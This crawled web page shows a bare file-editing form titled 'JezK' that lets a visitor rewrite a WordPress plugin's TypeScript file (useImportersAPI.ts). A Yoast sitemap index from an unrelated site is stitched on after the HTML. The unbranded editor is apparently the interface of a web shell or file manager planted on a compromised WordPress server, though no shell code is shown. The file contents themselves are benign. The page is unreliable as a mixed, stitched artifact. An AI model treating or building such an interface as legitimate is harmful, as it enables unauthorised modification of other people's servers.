
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: useImportersAPI.ts</h2><form method="post"><textarea name="file_content" rows="10" cols="50">import { useMemo } from &#039;react&#039;
import { useAxios } from &#039;./useAxios&#039;
import type { AxiosResponse, CreateAxiosDefaults } from &#039;axios&#039;

export interface Importer {
	name: string
	title: string
	is_active: boolean
}

export interface ImportableSnippet {
	id: number
	title: string
	table_data: {
		id: number
		title: string
	}
}

export interface ImportRequest {
	ids: number[]
	network?: boolean
	auto_add_tags?: boolean
	tag_value?: string
}

export interface ImportResponse {
	imported: number[]
}

const ROUTE_BASE = `${window.CODE_SNIPPETS?.restAPI.base}code-snippets/v1/`

const AXIOS_CONFIG: CreateAxiosDefaults = {
	headers: { &#039;X-WP-Nonce&#039;: window.CODE_SNIPPETS?.restAPI.nonce }
}

export interface ImportersAPI {
	fetchAll: () =&gt; Promise&lt;AxiosResponse&lt;Importer[]&gt;&gt;
	fetchSnippets: (importerName: string) =&gt; Promise&lt;AxiosResponse&lt;ImportableSnippet[]&gt;&gt;
	importSnippets: (importerName: string, request: ImportRequest) =&gt; Promise&lt;AxiosResponse&lt;ImportResponse&gt;&gt;
}

export const useImportersAPI = (): ImportersAPI =&gt; {
	const { get, post } = useAxios(AXIOS_CONFIG)

	return useMemo((): ImportersAPI =&gt; ({
		fetchAll: () =&gt; get&lt;Importer[]&gt;(`${ROUTE_BASE}importers`),
		fetchSnippets: (importerName: string) =&gt; get&lt;ImportableSnippet[]&gt;(`${ROUTE_BASE}${importerName}`),
		importSnippets: (importerName: string, request: ImportRequest) =&gt; 
			post&lt;ImportResponse, ImportRequest&gt;(`${ROUTE_BASE}${importerName}/import`, request)
	}), [get, post])
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="//viverdelicitacao.com/wp-content/plugins/wordpress-seo/css/main-sitemap.xsl"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
	<sitemap>
		<loc>https://viverdelicitacao.com/page-sitemap.xml</loc>
		<lastmod>2025-08-22T16:18:12+00:00</lastmod>
	</sitemap>
</sitemapindex>
<!-- XML Sitemap generated by Yoast SEO -->